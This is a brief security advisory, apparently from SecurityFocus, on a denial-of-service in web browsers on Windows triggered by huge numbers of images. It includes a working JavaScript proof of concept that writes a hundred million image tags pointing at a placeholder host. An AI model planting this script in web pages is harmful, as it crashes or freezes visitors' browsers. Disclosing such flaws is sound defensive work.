source: http://www.securityfocus.com/bid/3684/info

An issue which affects users of multiple web browsers on Microsoft Windows platforms has been discovered.

An unusually high image count may cause a denial of services to users who view the webpage containing the offending image.

Malicious webmasters may construct webpages which exploit this vulnerability. 

<script>
for(i=0;i<100000000;i++) {
document.write("<img src=http://fakehost.com/"+i+".gif>");
}
</script>